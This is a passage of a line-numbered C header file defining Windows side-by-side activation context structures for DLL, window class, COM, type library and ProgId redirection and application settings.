ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME (0x00000001) 462 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT (0x00000002) 463 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND (0x00000004) 464 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL (0x00000008) 465 | 466 | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION { 467 | ULONG Size; 468 | ULONG Flags; 469 | ULONG TotalPathLength; // bytewise length of concatenated segments only 470 | ULONG PathSegmentCount; 471 | ULONG PathSegmentOffset; // offset from section base header so that entries can share 472 | } ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION, *PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION; 473 | 474 | typedef const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION *PCACTIVATION_CONTEXT_DATA_DLL_REDIRECTION; 475 | 476 | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT { 477 | ULONG Length; // in bytes 478 | ULONG Offset; // from section header so that individual entries can share 479 | } ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT, *PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT; 480 | 481 | typedef const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT *PCACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT; 482 | 483 | // 484 | // Leaf node structures for window class redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION) 485 | // 486 | 487 | #define ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION_FORMAT_WHISTLER (1) 488 | 489 | typedef struct _ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION { 490 | ULONG Size; 491 | ULONG Flags; 492 | ULONG VersionSpecificClassNameLength; // in bytes 493 | ULONG VersionSpecificClassNameOffset; // Offset from ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION base 494 | ULONG DllNameLength; // in bytes 495 | ULONG DllNameOffset; // Offset from section base because this can be shared across multiple entries 496 | } ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION, *PACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION; 497 | 498 | typedef const ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION *PCACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION; 499 | 500 | // 501 | // Leaf node structures for application settings section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS) 502 | // 503 | 504 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS_FORMAT_LONGHORN (1) 505 | 506 | #define SXS_WINDOWS_SETTINGS_NAMESPACE L"http://schemas.microsoft.com/SMI/2005/WindowsSettings" 507 | #define SXS_WINDOWS_SETTINGS_NAMESPACE_CCH (53) 508 | 509 | #define SXS_WINDOWS_SETTINGS_2011_NAMESPACE L"http://schemas.microsoft.com/SMI/2011/WindowsSettings" 510 | #define SXS_WINDOWS_SETTINGS_2011_NAMESPACE_CCH (53) 511 | 512 | #define SXS_WINDOWS_SETTINGS_2013_NAMESPACE L"http://schemas.microsoft.com/SMI/2013/WindowsSettings" 513 | #define SXS_WINDOWS_SETTINGS_2013_NAMESPACE_CCH (53) 514 | 515 | #define SXS_WINDOWS_SETTINGS_2014_NAMESPACE L"http://schemas.microsoft.com/SMI/2014/WindowsSettings" 516 | #define SXS_WINDOWS_SETTINGS_2014_NAMESPACE_CCH (53) 517 | 518 | #define SXS_WINDOWS_SETTINGS_2016_NAMESPACE L"http://schemas.microsoft.com/SMI/2016/WindowsSettings" 519 | #define SXS_WINDOWS_SETTINGS_2016_NAMESPACE_CCH (53) 520 | 521 | #define SXS_WINDOWS_SETTINGS_2017_NAMESPACE L"http://schemas.microsoft.com/SMI/2017/WindowsSettings" 522 | #define SXS_WINDOWS_SETTINGS_2017_NAMESPACE_CCH (53) 523 | 524 | typedef struct _ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS { 525 | ULONG Size; 526 | ULONG Flags; 527 | ULONG SettingNamespaceLength; // in bytes 528 | ULONG SettingNamespaceOffset; // Offset from ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS base 529 | ULONG SettingNameLength; // in bytes 530 | ULONG SettingNameOffset; 531 | ULONG SettingValueLength; // in bytes 532 | ULONG SettingValueOffset; 533 | } ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS, *PACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS; 534 | 535 | typedef const ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS *PCACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS; 536 | 537 | // 538 | // Leaf node structures for COM activation redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION) 539 | // 540 | 541 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_FORMAT_WHISTLER (1) 542 | 543 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_INVALID (0) 544 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_APARTMENT (1) 545 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_FREE (2) 546 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_SINGLE (3) 547 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_BOTH (4) 548 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_NEUTRAL (5) 549 | 550 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET (8) 551 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_DEFAULT (0x01 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET) 552 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_ICON (0x02 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET) 553 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_CONTENT (0x04 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET) 554 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_THUMBNAIL (0x08 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET) 555 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_DOCPRINT (0x10 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET) 556 | 557 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION { 558 | ULONG Size; 559 | ULONG Flags; 560 | ULONG ThreadingModel; 561 | GUID ReferenceClsid; 562 | GUID ConfiguredClsid; 563 | GUID ImplementedClsid; 564 | GUID TypeLibraryId; 565 | ULONG ModuleLength; // in bytes 566 | ULONG ModuleOffset; // offset from section base because this can be shared across multiple entries 567 | ULONG ProgIdLength; // in bytes 568 | ULONG ProgIdOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION because this is never shared 569 | ULONG ShimDataLength; // in bytes 570 | ULONG ShimDataOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION because this is not shared 571 | ULONG MiscStatusDefault; 572 | ULONG MiscStatusContent; 573 | ULONG MiscStatusThumbnail; 574 | ULONG MiscStatusIcon; 575 | ULONG MiscStatusDocPrint; 576 | } ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION; 577 | 578 | typedef const ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION; 579 | 580 | // 581 | // ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM is a struct optionally hung 582 | // off an ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION that describes shimming. 583 | // The common use of a shim is a file that is not a PE that implements 584 | // DllGetClassObject(); instead some other DLL will use the path 585 | // to the file in question plus metadata (typename for managed code and Java) 586 | // to provide a COM object that implements the CLSID. Note that the file may not 587 | // even be a PE for things like scriptlets. Most shims will reference the 588 | // system registry for this metadata; Fusion-aware shims can use the information 589 | // here in the activation context. 590 | // 591 | // The format version of the ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION should 592 | // account for any format changes in the _SHIM struct here. 593 | // 594 | 595 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM_TYPE_OTHER (1) 596 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM_TYPE_CLR_CLASS (2) 597 | 598 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM { 599 | ULONG Size; 600 | ULONG Flags; 601 | ULONG Type; 602 | ULONG ModuleLength; // in bytes 603 | ULONG ModuleOffset; // offset from section base 604 | ULONG TypeLength; // in bytes 605 | ULONG TypeOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM 606 | ULONG ShimVersionLength; // in bytes 607 | ULONG ShimVersionOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM 608 | ULONG DataLength; // in bytes 609 | ULONG DataOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM 610 | } ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM, *PACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM; 611 | 612 | typedef const ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM *PCACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM; 613 | 614 | // 615 | // Leaf node structures for COM interface marshalling redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION) 616 | // 617 | 618 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FORMAT_WHISTLER (1) 619 | 620 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FLAG_NUM_METHODS_VALID (0x00000001) 621 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FLAG_BASE_INTERFACE_VALID (0x00000002) 622 | 623 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION { 624 | ULONG Size; 625 | ULONG Flags; 626 | GUID ProxyStubClsid32; 627 | ULONG NumMethods; 628 | GUID TypeLibraryId; 629 | GUID BaseInterface; 630 | ULONG NameLength; // in bytes 631 | ULONG NameOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION because this is not shared 632 | } ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION; 633 | 634 | typedef const ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION; 635 | 636 | // 637 | // Leaf node structures for COM type library redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION) 638 | // 639 | 640 | // 641 | // CLR interop goop 642 | // 643 | #define ACTIVATION_CONTEXT_DATA_CLR_SURROGATE_FORMAT_WHISTLER (1) 644 | 645 | typedef struct _ACTIVATION_CONTEXT_DATA_CLR_SURROGATE { 646 | ULONG Size; 647 | ULONG Flags; 648 | GUID SurrogateIdent; 649 | ULONG VersionOffset; // The version of runtime corresponding to this type 650 | ULONG VersionLength; 651 | ULONG TypeNameOffset; // Name of the type that implements this surrogate 652 | ULONG TypeNameLength; 653 | } ACTIVATION_CONTEXT_DATA_CLR_SURROGATE, *PACTIVATION_CONTEXT_DATA_CLR_SURROGATE; 654 | 655 | typedef const struct _ACTIVATION_CONTEXT_DATA_CLR_SURROGATE *PCACTIVATION_CONTEXT_DATA_CLR_SURROGATE; 656 | 657 | 658 | 659 | 660 | // 661 | //OLD 662 | //OLD The type library redirection section is keyed off a string composed of the type library GUID, 663 | //OLD the hexidecimal representation of the LCID for the tlb and the version number of the 664 | //OLD type library. 665 | //OLD 666 | //OLD e.g. 667 | //OLD 668 | //OLD "{0ECD9B60-23AA-11D0-B351-00A0C9055D8E}_en-us_6.0" 669 | //OLD 670 | // 671 | // The type library redirection section is keyed off of the type library guid. 672 | // 673 | 674 | #define ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_FORMAT_WHISTLER (1) 675 | 676 | typedef struct _ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION 677 | { 678 | USHORT Major; 679 | USHORT Minor; 680 | } ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION, *PACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION; 681 | typedef const ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION* PCACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION; 682 | 683 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600 { 684 | ULONG Size; 685 | ULONG Flags; 686 | ULONG NameLength; // in bytes 687 | ULONG NameOffset; // offset from section header 688 | USHORT ResourceId; // Resource ID of type library resource in PE 689 | USHORT LibraryFlags; // flags, as defined by the LIBFLAGS enumeration in oaidl.h 690 | ULONG HelpDirLength; // in bytes 691 | ULONG HelpDirOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION 692 | } ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600, *PACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600; 693 | 694 | typedef const ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600 *PCACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600; 695 | 696 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION { 697 | ULONG Size; 698 | ULONG Flags; 699 | ULONG NameLength; // in bytes 700 | ULONG NameOffset; // offset from section header 701 | USHORT ResourceId; // Resource ID of type library resource in PE 702 | USHORT LibraryFlags; // flags, as defined by the LIBFLAGS enumeration in oaidl.h 703 | ULONG HelpDirLength; // in bytes 704 | ULONG HelpDirOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION 705 | // 2600 stopped here. 706 | ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION Version; 707 | } ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION; 708 | 709 | typedef const ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION; 710 | 711 | // 712 | // Leaf node structures for COM ProgId redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION) 713 | // 714 | 715 | #define ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION_FORMAT_WHISTLER (1) 716 | 717 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION { 718 | ULONG Size; 719 | ULONG Flags; 720 | ULONG ConfiguredClsidOffset; // offset from section header 721 | } ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION; 722 | 723 | typedef const ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION; 724 | 725 | typedef struct _SXS_OVERRIDE_MANIFEST { 726 | PCWSTR Name; 727 | PVOID Address; 728 | SIZE_T Size; 729 | } SXS_OVERRIDE_MANIFEST, *PSXS_OVERRIDE_MANIFEST; 730 | typedef const SXS_OVERRIDE_MANIFEST* PCSXS_OVERRIDE_MANIFEST; 731 | 732 | typedef struct _SXS_MANIFEST_STREAM { 733 | const IID* IIDStream; 734 | PVOID OutIStream; 735 | }SXS_MANIFEST_STREAM, *PSXS_MANIFEST_STREAM; 736 | 737 | #include "poppack.h" 738 | 739 | #if defined(__cplusplus) 740 | } /* extern "C" */ 741 | #endif 742 | 743 | #endif /* _SXSTYPES_ */ 744 | --------------------------------------------------------------------------------